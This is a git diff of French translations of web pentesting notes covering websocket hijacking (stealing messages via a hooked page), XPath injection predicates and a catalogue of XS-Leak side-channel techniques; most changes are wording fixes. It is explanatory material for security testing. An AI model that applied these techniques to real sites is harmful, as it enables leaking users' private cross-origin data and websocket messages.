- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
- [ ] [**NoSQL Injection**](../nosql-injection.md)
@ -80,7 +80,7 @@ En fonction des en-têtes HTTP fournis par le serveur web, certaines vulnérabil
### **Bypasses**
Il existe plusieurs fonctionnalités spécifiques où des solutions de contournement peuvent être utiles pour les contourner.
Il existe plusieurs fonctionnalités spécifiques où certaines solutions de contournement peuvent être utiles pour les contourner.
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
@ -94,7 +94,7 @@ Il existe plusieurs fonctionnalités spécifiques où des solutions de contourne
### **Objets structurés / Fonctionnalités spécifiques**
Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé de langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'e-mail).
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'email).
- [ ] [**Deserialization**](../deserialization/)
- [ ] [**Email Header Injection**](../email-injections.md)

10
src/pentesting-web/websocket-attacks.md
View File

@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Réponse de poignée de main du serveur :
Réponse de la poignée de main du serveur :
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
@ -67,7 +67,7 @@ Vous pouvez utiliser l'**outil** [**https://github.com/PalindromeLabs/STEWS**](h
### Outils de débogage Websocket
- **Burp Suite** prend en charge la communication MitM des websockets de manière très similaire à la façon dont elle le fait pour la communication HTTP classique.
- **Burp Suite** prend en charge la communication MitM des websockets de manière très similaire à la façon dont elle le fait pour la communication HTTP régulière.
- L'**extension Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'** **historique**, en définissant des **règles d'interception**, en utilisant des règles de **correspondance et de remplacement**, en utilisant **Intruder** et **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des messages personnalisés** et voir toutes les communications WebSocket et Socket.IO entre le client et le serveur.
- [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL websocket interactif** conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les **messages websocket entrants et envoyer de nouveaux**, avec un cadre facile à utiliser pour **automatiser** cette communication.&#x20;
@ -130,17 +130,17 @@ return messageEvent
}
```
Téléchargez maintenant le fichier `wsHook.js` depuis [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) et **enregistrez-le dans le dossier avec les fichiers web**.\
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket :
En exposant l'application web et en faisant connecter un utilisateur, vous pourrez voler les messages envoyés et reçus via websocket :
```javascript
sudo python3 -m http.server 80
```
## Conditions de course
Les Conditions de course dans les WebSockets sont également un sujet, [check this information to learn more](race-condition.md#rc-in-websockets).
Les Conditions de course dans les WebSockets sont également un sujet, [consultez cette information pour en savoir plus](race-condition.md#rc-in-websockets).
## Autres vulnérabilités
Comme les Web Sockets sont un mécanisme pour **envoyer des données vers le serveur et le client**, selon la manière dont le serveur et le client gèrent l'information, **les Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vulnérabilité web courante en utilisant l'entrée d'un utilisateur depuis un websocket.**
Comme les Web Sockets sont un mécanisme pour **envoyer des données au serveur et au client**, selon la manière dont le serveur et le client gèrent l'information, **les Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vulnérabilité web courante en utilisant l'entrée d'un utilisateur depuis un websocket.**
## **WebSocket Smuggling**

4
src/pentesting-web/xpath-injection.md
View File

@ -38,8 +38,8 @@ Les prédicats sont utilisés pour affiner les sélections :
- **/bookstore/book\[position()<3]** : Les deux premiers éléments book enfants de l'élément bookstore sont sélectionnés.
- **//title\[@lang]** : Tous les éléments title avec un attribut lang sont sélectionnés.
- **//title\[@lang='en']** : Tous les éléments title avec une valeur d'attribut "lang" de "en" sont sélectionnés.
- **/bookstore/book\[price>35.00]** : Tous les éléments book de la librairie avec un prix supérieur à 35,00 sont sélectionnés.
- **/bookstore/book\[price>35.00]/title** : Tous les éléments title des éléments book de la librairie avec un prix supérieur à 35,00 sont sélectionnés.
- **/bookstore/book\[price>35.00]** : Tous les éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés.
- **/bookstore/book\[price>35.00]/title** : Tous les éléments title des éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés.
### Gestion des nœuds inconnus

286
src/pentesting-web/xs-search.md
View File

@ -19,7 +19,7 @@ Les composants clés impliqués dans cette attaque comprennent :
Plusieurs aspects peuvent être analysés pour différencier les états du Web vulnérable :
- **Code d'état** : Distinguer entre **divers codes d'état de réponse HTTP** cross-origin, comme les erreurs serveur, les erreurs client ou les erreurs d'authentification.
- **Code d'état** : Distinguer entre **divers codes de statut de réponse HTTP** cross-origin, comme les erreurs serveur, les erreurs client ou les erreurs d'authentification.
- **Utilisation de l'API** : Identifier **l'utilisation des API Web** à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique.
- **Redirections** : Détecter les navigations vers différentes pages, pas seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML.
- **Contenu de la page** : Observer **les variations dans le corps de la réponse HTTP** ou dans les sous-ressources de la page, comme le **nombre de cadres intégrés** ou les disparités de taille dans les images.
@ -30,13 +30,13 @@ Plusieurs aspects peuvent être analysés pour différencier les états du Web v
- **Éléments HTML** : HTML offre divers éléments pour **l'inclusion de ressources cross-origin**, comme des feuilles de style, des images ou des scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée à [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Cadres** : Des éléments tels que **iframe**, **object** et **embed** peuvent intégrer des ressources HTML directement dans la page de l'attaquant. Si la page **manque de protection contre le framing**, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow.
- **Pop-ups** : La méthode **`window.open`** ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un **handle de fenêtre** pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisées dans le cadre de l'authentification unique, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur.
- **Pop-ups** : La méthode **`window.open`** ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un **handle de fenêtre** pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisées dans le single sign-on, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur.
- **Requêtes JavaScript** : JavaScript permet des requêtes directes vers des ressources cibles en utilisant **XMLHttpRequests** ou l'**API Fetch**. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP.
### Techniques de fuite
- **Gestionnaire d'événements** : Une technique de fuite classique dans les XS-Leaks, où des gestionnaires d'événements comme **onload** et **onerror** fournissent des informations sur le succès ou l'échec du chargement des ressources.
- **Messages d'erreur** : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant sa présence et son absence.
- **Messages d'erreur** : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant entre sa présence et son absence.
- **Limites globales** : Les limitations physiques d'un navigateur, comme la capacité mémoire ou d'autres limites imposées par le navigateur, peuvent signaler lorsqu'un seuil est atteint, servant de technique de fuite.
- **État global** : Les interactions détectables avec les **états globaux** des navigateurs (par exemple, l'interface History) peuvent être exploitées. Par exemple, le **nombre d'entrées** dans l'historique d'un navigateur peut offrir des indices sur les pages cross-origin.
- **API de performance** : Cette API fournit des **détails de performance de la page actuelle**, y compris le timing réseau pour le document et les ressources chargées, permettant des inférences sur les ressources demandées.
@ -66,7 +66,7 @@ Pour plus d'infos : [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
- **Méthodes d'inclusion** : Cadres, Éléments HTML
- **Différence détectable** : Code d'état
- **Plus d'infos** : [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Résumé** : si l'on essaie de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource est chargée avec succès/échoue, il est possible de déterminer le code d'état.
- **Résumé** : si une tentative de chargement d'une ressource déclenche les événements onerror/onload lorsque la ressource est chargée avec succès/échec, il est possible de déterminer le code d'état.
- **Exemple de code** : [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
@ -152,7 +152,7 @@ Ensuite, vous pouvez **distinguer entre** une page **chargée correctement** ou
- **Inclusion Methods**: Frames
- **Detectable Difference**: Contenu de la page
- **More info**:
- **Summary:** Si la **page** **renvoie** le **contenu sensible**, **ou** un **contenu** qui peut être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir **un code JS valide dans le cas négatif**, un **chargement** à chaque essai à l'intérieur des **`<script>`** tags, donc dans les cas **négatifs**, le **code** des attaquants est **exécuté**, et dans les cas **affirmatifs**, **rien** ne sera exécuté.
- **Summary:** Si la **page** renvoie le **contenu sensible**, **ou** un **contenu** qui peut être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir **un code JS valide dans le cas négatif**, un **chargement** à chaque essai à l'intérieur des **`<script>`** tags, donc dans les cas **négatifs**, le **code** des attaquants est **exécuté**, et dans les cas **affirmatifs**, **rien** ne sera exécuté.
- **Code Example:**
{{#ref}}
@ -216,10 +216,10 @@ Cette fuite XS permet à un attaquant de **détecter quand une page d'origine cr
Parce que **une seule demande de paiement peut être active** à la fois, si le site cible utilise l'API de demande de paiement, toute **tentative ultérieure d'utiliser cette API échouera**, et provoquera une **exception JavaScript**. L'attaquant peut exploiter cela en **tentant périodiquement d'afficher l'interface utilisateur de l'API de paiement**. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives périodiques en fermant immédiatement l'interface utilisateur après sa création.
### Chronométrage de la Boucle d'Événements <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
### Chronométrage de la boucle d'événements <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la Page, Code d'État)
- **Detectable Difference**: Chronométrage (généralement dû au contenu de la page, code d'état)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Summary:** Mesurer le temps d'exécution d'un web en abusant de la boucle d'événements JS à thread unique.
- **Code Example**:
@ -228,28 +228,28 @@ Parce que **une seule demande de paiement peut être active** à la fois, si le
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript fonctionne sur un modèle de concurrence de [boucle d'événements à thread unique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), signifiant qu'il **ne peut exécuter qu'une seule tâche à la fois**. Cette caractéristique peut être exploitée pour évaluer **combien de temps le code d'une autre origine prend pour s'exécuter**. Un attaquant peut mesurer le temps d'exécution de son propre code dans la boucle d'événements en envoyant continuellement des événements avec des propriétés fixes. Ces événements seront traités lorsque le pool d'événements est vide. Si d'autres origines envoient également des événements au même pool, un **attaquant peut déduire le temps qu'il faut pour que ces événements externes s'exécutent en observant les retards dans l'exécution de ses propres tâches**. Cette méthode de surveillance de la boucle d'événements pour des retards peut révéler le temps d'exécution du code d'autres origines, exposant potentiellement des informations sensibles.
JavaScript fonctionne sur un modèle de concurrence de [boucle d'événements à thread unique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), signifiant qu'il **ne peut exécuter qu'une seule tâche à la fois**. Cette caractéristique peut être exploitée pour évaluer **combien de temps le code d'une autre origine prend pour s'exécuter**. Un attaquant peut mesurer le temps d'exécution de son propre code dans la boucle d'événements en envoyant continuellement des événements avec des propriétés fixes. Ces événements seront traités lorsque le pool d'événements est vide. Si d'autres origines envoient également des événements au même pool, un **attaquant peut déduire le temps qu'il faut à ces événements externes pour s'exécuter en observant les retards dans l'exécution de ses propres tâches**. Cette méthode de surveillance de la boucle d'événements pour des retards peut révéler le temps d'exécution du code d'autres origines, exposant potentiellement des informations sensibles.
> [!WARNING]
> Dans un chronométrage d'exécution, il est possible de **supprimer** **les facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
### Boucle d'Événements Occupée <a href="#busy-event-loop" id="busy-event-loop"></a>
### Boucle d'événements occupée <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la Page, Code d'État)
- **Detectable Difference**: Chronométrage (généralement dû au contenu de la page, code d'état)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Une méthode pour mesurer le temps d'exécution d'une opération web consiste à bloquer intentionnellement la boucle d'événements d'un thread et ensuite à chronométrer **combien de temps il faut pour que la boucle d'événements redevienne disponible**. En insérant une opération de blocage (comme un long calcul ou un appel API synchrone) dans la boucle d'événements, et en surveillant le temps qu'il faut pour que le code suivant commence à s'exécuter, on peut déduire la durée des tâches qui s'exécutaient dans la boucle d'événements pendant la période de blocage. Cette technique exploite la nature à thread unique de la boucle d'événements de JavaScript, où les tâches sont exécutées séquentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opérations partageant le même thread.
- **Summary:** Une méthode pour mesurer le temps d'exécution d'une opération web consiste à bloquer intentionnellement la boucle d'événements d'un thread et ensuite à chronométrer **combien de temps il faut pour que la boucle d'événements redevienne disponible**. En insérant une opération de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'événements, et en surveillant le temps qu'il faut pour que le code suivant commence à s'exécuter, on peut déduire la durée des tâches qui s'exécutaient dans la boucle d'événements pendant la période de blocage. Cette technique exploite la nature à thread unique de la boucle d'événements de JavaScript, où les tâches sont exécutées séquentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opérations partageant le même thread.
- **Code Example**:
Un avantage significatif de la technique de mesure du temps d'exécution en verrouillant la boucle d'événements est son potentiel à contourner **l'Isolation de Site**. **L'Isolation de Site** est une fonctionnalité de sécurité qui sépare différents sites en processus distincts, visant à empêcher les sites malveillants d'accéder directement aux données sensibles d'autres sites. Cependant, en influençant le chronométrage d'exécution d'une autre origine par le biais de la boucle d'événements partagée, un attaquant peut indirectement extraire des informations sur les activités de cette origine. Cette méthode ne repose pas sur un accès direct aux données de l'autre origine mais plutôt sur l'observation de l'impact des activités de cette origine sur la boucle d'événements partagée, contournant ainsi les barrières de protection établies par **l'Isolation de Site**.
Un avantage significatif de la technique de mesure du temps d'exécution en verrouillant la boucle d'événements est son potentiel à contourner **l'Isolation de Site**. **L'Isolation de Site** est une fonctionnalité de sécurité qui sépare différents sites web en processus distincts, visant à empêcher les sites malveillants d'accéder directement aux données sensibles d'autres sites. Cependant, en influençant le chronométrage d'exécution d'une autre origine par le biais de la boucle d'événements partagée, un attaquant peut indirectement extraire des informations sur les activités de cette origine. Cette méthode ne repose pas sur un accès direct aux données de l'autre origine mais plutôt sur l'observation de l'impact des activités de cette origine sur la boucle d'événements partagée, contournant ainsi les barrières de protection établies par **l'Isolation de Site**.
> [!WARNING]
> Dans un chronométrage d'exécution, il est possible de **supprimer** **les facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
### Pool de Connexion
### Pool de connexions
- **Inclusion Methods**: Requêtes JavaScript
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la Page, Code d'État)
- **Detectable Difference**: Chronométrage (généralement dû au contenu de la page, code d'état)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Un attaquant pourrait verrouiller toutes les sockets sauf 1, charger le web cible et en même temps charger une autre page, le temps jusqu'à ce que la dernière page commence à se charger est le temps que la page cible a mis à charger.
- **Code Example**:
@ -260,19 +260,19 @@ xs-search/connection-pool-example.md
Les navigateurs utilisent des sockets pour la communication avec le serveur, mais en raison des ressources limitées du système d'exploitation et du matériel, **les navigateurs sont contraints d'imposer une limite** sur le nombre de sockets simultanés. Les attaquants peuvent exploiter cette limitation par les étapes suivantes :
1. Déterminer la limite de sockets du navigateur, par exemple, 256 sockets globales.
2. Occuper 255 sockets pendant une durée prolongée en initiant 255 requêtes à divers hôtes, conçues pour maintenir les connexions ouvertes sans les terminer.
1. Déterminer la limite de sockets du navigateur, par exemple, 256 sockets globaux.
2. Occuper 255 sockets pendant une durée prolongée en initiant 255 requêtes vers divers hôtes, conçues pour maintenir les connexions ouvertes sans les terminer.
3. Utiliser le 256ème socket pour envoyer une requête à la page cible.
4. Tenter une 257ème requête à un autre hôte. Étant donné que tous les sockets sont utilisés (comme indiqué aux étapes 2 et 3), cette requête sera mise en file d'attente jusqu'à ce qu'un socket devienne disponible. Le délai avant que cette requête ne progresse fournit à l'attaquant des informations de chronométrage sur l'activité réseau liée au socket du 256ème (le socket de la page cible). Cette déduction est possible car les 255 sockets de l'étape 2 sont toujours engagés, impliquant que tout nouveau socket disponible doit être celui libéré de l'étape 3. Le temps nécessaire pour que le 256ème socket devienne disponible est donc directement lié au temps requis pour que la requête à la page cible se termine.
4. Tenter une 257ème requête vers un autre hôte. Étant donné que tous les sockets sont utilisés (comme indiqué aux étapes 2 et 3), cette requête sera mise en file d'attente jusqu'à ce qu'un socket devienne disponible. Le délai avant que cette requête ne progresse fournit à l'attaquant des informations de chronométrage sur l'activité réseau liée au socket du 256ème (le socket de la page cible). Cette déduction est possible car les 255 sockets de l'étape 2 sont toujours engagés, impliquant que tout nouveau socket disponible doit être celui libéré de l'étape 3. Le temps nécessaire pour que le 256ème socket devienne disponible est donc directement lié au temps requis pour que la requête à la page cible se termine.
Pour plus d'infos : [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Pool de Connexion par Destination
### Pool de connexions par destination
- **Inclusion Methods**: Requêtes JavaScript
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la Page, Code d'État)
- **Detectable Difference**: Chronométrage (généralement dû au contenu de la page, code d'état)
- **More info**:
- **Summary:** C'est comme la technique précédente mais au lieu d'utiliser tous les sockets, Google **Chrome** impose une limite de **6 requêtes simultanées à la même origine**. Si nous **bloquons 5** et ensuite **lancions une 6ème** requête, nous pouvons **la chronométrer** et si nous avons réussi à faire en sorte que la **page victime envoie** plus de **requêtes** au même point de terminaison pour détecter un **statut** de la **page**, la **6ème requête** prendra **plus de temps** et nous pouvons le détecter.
- **Summary:** C'est comme la technique précédente mais au lieu d'utiliser tous les sockets, Google **Chrome** impose une limite de **6 requêtes simultanées à la même origine**. Si nous **bloquons 5** et ensuite **lancions une 6ème** requête, nous pouvons **la chronométrer** et si nous avons réussi à faire en sorte que la **page victime envoie** plus de **requêtes** vers le même point de terminaison pour détecter un **statut** de la **page**, la **6ème requête** prendra **plus de temps** et nous pourrons le détecter.
## Techniques de l'API de Performance
@ -282,7 +282,7 @@ Cette richesse de données peut être récupérée via des méthodes comme [`per
Au-delà des mesures de chronométrage, l'API de Performance peut être exploitée pour des aperçus liés à la sécurité. Par exemple, la présence ou l'absence de pages dans l'objet `performance` dans Chrome peut indiquer l'application de `X-Frame-Options`. Plus précisément, si une page est bloquée de son rendu dans un cadre en raison de `X-Frame-Options`, elle ne sera pas enregistrée dans l'objet `performance`, fournissant un indice subtil sur les politiques de cadre de la page.
### Fuite d'Erreur
### Fuite d'erreur
- **Inclusion Methods**: Frames, Éléments HTML
- **Detectable Difference**: Code d'état
@ -292,7 +292,7 @@ Au-delà des mesures de chronométrage, l'API de Performance peut être exploit
Il est possible de **différencier entre les codes d'état de réponse HTTP** car les requêtes qui entraînent une **erreur** ne **créent pas d'entrée de performance**.
### Erreur de Rechargement de Style
### Erreur de rechargement de style
- **Inclusion Methods**: Éléments HTML
- **Detectable Difference**: Code d'état
@ -300,9 +300,9 @@ Il est possible de **différencier entre les codes d'état de réponse HTTP** ca
- **Summary:** En raison d'un bug du navigateur, les requêtes qui entraînent des erreurs sont chargées deux fois.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
Dans la technique précédente, deux cas ont également été identifiés où des bugs du navigateur dans GC entraînent des **ressources étant chargées deux fois lorsqu'elles échouent à se charger**. Cela entraînera plusieurs entrées dans l'API de Performance et peut donc être détecté.
Dans la technique précédente, deux cas ont également été identifiés où des bugs du navigateur dans GC entraînent **le chargement de ressources deux fois lorsqu'elles échouent à se charger**. Cela entraînera plusieurs entrées dans l'API de Performance et peut donc être détecté.
### Erreur de Fusion de Requêtes
### Erreur de fusion de requêtes
- **Inclusion Methods**: Éléments HTML
- **Detectable Difference**: Code d'état
@ -312,7 +312,7 @@ Dans la technique précédente, deux cas ont également été identifiés où de
La technique a été trouvée dans un tableau dans le document mentionné mais aucune description de la technique n'a été trouvée. Cependant, vous pouvez trouver le code source en vérifiant [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Fuite de Page Vide
### Fuite de page vide
- **Inclusion Methods**: Frames
- **Detectable Difference**: Contenu de la page
@ -340,10 +340,10 @@ Dans les Assertions de Sécurité (SA), l'Auditeur XSS, initialement destiné à
- **Summary:** Une ressource avec un en-tête X-Frame-Options ne crée pas d'entrée de chronométrage des ressources.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Si une page n'est **pas autorisée** à être **rendu** dans un **iframe**, elle ne **crée pas d'entrée de performance**. En conséquence, un attaquant peut détecter l'en-tête de réponse **`X-Frame-Options`**.\
Si une page **n'est pas autorisée** à être **rendu** dans un **iframe**, elle ne **crée pas d'entrée de performance**. En conséquence, un attaquant peut détecter l'en-tête de réponse **`X-Frame-Options`**.\
Il en va de même si vous utilisez une **balise embed**.
### Détection de Téléchargement
### Détection de téléchargement
- **Inclusion Methods**: Frames
- **Detectable Difference**: En-tête
@ -351,19 +351,19 @@ Il en va de même si vous utilisez une **balise embed**.
- **Summary:** Les téléchargements ne créent pas d'entrées de chronométrage des ressources dans l'API de Performance.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
De manière similaire à la fuite XS décrite, une **ressource qui est téléchargée** en raison de l'en-tête ContentDisposition ne **crée pas non plus d'entrée de performance**. Cette technique fonctionne dans tous les navigateurs majeurs.
De manière similaire à la fuite XS décrite, une **ressource qui est téléchargée** en raison de l'en-tête ContentDisposition ne **crée pas non plus d'entrée de performance**. Cette technique fonctionne dans tous les principaux navigateurs.
### Fuite de Début de Redirection
### Fuite de début de redirection
- **Inclusion Methods**: Frames
- **Detectable Difference**: Redirection
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** L'entrée de chronométrage des ressources révèle le temps de début d'une redirection.
- **Summary:** L'entrée de chronométrage des ressources révèle l'heure de début d'une redirection.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Nous avons trouvé une instance de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requêtes d'origine croisée. La norme définit un sous-ensemble d'attributs qui doivent être définis à zéro pour les ressources d'origine croisée. Cependant, dans **SA**, il est possible de détecter si l'utilisateur est **redirigé** par la page cible, en interrogeant l'**API de Performance** et en vérifiant les **données de chronométrage redirectStart**.
Nous avons trouvé un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requêtes d'origine croisée. La norme définit un sous-ensemble d'attributs qui doivent être définis à zéro pour les ressources d'origine croisée. Cependant, dans **SA**, il est possible de détecter si l'utilisateur est **redirigé** par la page cible, en interrogeant l'**API de Performance** et en vérifiant les **données de chronométrage redirectStart**.
### Fuite de Durée de Redirection
### Fuite de durée de redirection
- **Inclusion Methods**: API Fetch
- **Detectable Difference**: Redirection
@ -371,7 +371,7 @@ Nous avons trouvé une instance de fuite XS qui abuse du comportement de certain
- **Summary:** La durée des entrées de chronométrage est négative lorsqu'une redirection se produit.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
Dans GC, la **durée** pour les requêtes qui entraînent une **redirection** est **négative** et peut donc être **distinguée** des requêtes qui ne résultent pas en une redirection.
Dans GC, la **durée** des requêtes qui entraînent une **redirection** est **négative** et peut donc être **distinguée** des requêtes qui ne résultent pas en une redirection.
### Fuite CORP
@ -406,7 +406,7 @@ Cela pourrait également être fait avec une attaque de chronométrage (voir le
En utilisant l'[API de Performance](xs-search.md#performance-api), il est possible de vérifier si une ressource est mise en cache.
### Durée Réseau
### Durée du réseau
- **Inclusion Methods**: API Fetch
- **Detectable Difference**: Contenu de la page
@ -414,9 +414,9 @@ En utilisant l'[API de Performance](xs-search.md#performance-api), il est possib
- **Summary:** Il est possible de récupérer la durée réseau d'une requête à partir de l'API `performance`.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Technique des Messages d'Erreur
## Technique des messages d'erreur
### Erreur Média
### Erreur multimédia
- **Inclusion Methods**: Éléments HTML (Vidéo, Audio)
- **Detectable Difference**: Code d'état
@ -523,7 +523,7 @@ Si une page charge une image uniquement si l'utilisateur est connecté, vous pou
- **Résumé :** Les directives d'en-tête CSP peuvent être sondées à l'aide de l'attribut iframe CSP, révélant des détails sur la politique.
- **Exemple de code** : [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Une nouvelle fonctionnalité dans Google Chrome (GC) permet aux pages Web de **proposer une Politique de Sécurité de Contenu (CSP)** en définissant un attribut sur un élément iframe, avec des directives de politique transmises avec la requête HTTP. Normalement, le contenu intégré doit **autoriser cela via un en-tête HTTP**, sinon une **page d'erreur est affichée**. Cependant, si l'iframe est déjà régie par un CSP et que la nouvelle politique proposée n'est pas plus restrictive, la page se chargera normalement. Ce mécanisme ouvre une voie pour un attaquant afin de **détecter des directives CSP spécifiques** d'une page cross-origin en identifiant la page d'erreur. Bien que cette vulnérabilité ait été marquée comme corrigée, nos découvertes révèlent une **nouvelle technique de fuite** capable de détecter la page d'erreur, suggérant que le problème sous-jacent n'a jamais été complètement résolu.
Une nouvelle fonctionnalité dans Google Chrome (GC) permet aux pages Web de **proposer une Politique de Sécurité de Contenu (CSP)** en définissant un attribut sur un élément iframe, avec des directives de politique transmises avec la requête HTTP. Normalement, le contenu intégré doit **autoriser cela via un en-tête HTTP**, sinon une **page d'erreur est affichée**. Cependant, si l'iframe est déjà régie par un CSP et que la nouvelle politique proposée n'est pas plus restrictive, la page se chargera normalement. Ce mécanisme ouvre une voie pour un attaquant de **détecter des directives CSP spécifiques** d'une page cross-origin en identifiant la page d'erreur. Bien que cette vulnérabilité ait été marquée comme corrigée, nos découvertes révèlent une **nouvelle technique de fuite** capable de détecter la page d'erreur, suggérant que le problème sous-jacent n'a jamais été complètement résolu.
### **CORP**
@ -576,7 +576,7 @@ En soumettant une requête en utilisant l'API Fetch avec `redirect: "manual"` et
- **Résumé :** Les pages protégées par la Politique d'Ouvre-Cross-Origin (COOP) empêchent l'accès aux interactions cross-origin.
- **Exemple de code** : [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Un attaquant est capable de déduire la présence de l'en-tête Politique d'Ouvre-Cross-Origin (COOP) dans une réponse HTTP cross-origin. COOP est utilisé par les applications Web pour empêcher les sites externes d'obtenir des références de fenêtres arbitraires. La visibilité de cet en-tête peut être discernée en tentant d'accéder à la **référence `contentWindow`**. Dans les scénarios où COOP est appliqué de manière conditionnelle, la **propriété `opener`** devient un indicateur révélateur : elle est **indéfinie** lorsque COOP est actif, et **définie** en son absence.
Un attaquant est capable de déduire la présence de l'en-tête Cross-Origin Opener Policy (COOP) dans une réponse HTTP cross-origin. COOP est utilisé par les applications Web pour empêcher les sites externes d'obtenir des références de fenêtres arbitraires. La visibilité de cet en-tête peut être discernée en tentant d'accéder à la **référence `contentWindow`**. Dans les scénarios où COOP est appliqué de manière conditionnelle, la **propriété `opener`** devient un indicateur révélateur : elle est **indéfinie** lorsque COOP est actif, et **définie** en son absence.
### Longueur Max de l'URL - Côté Serveur
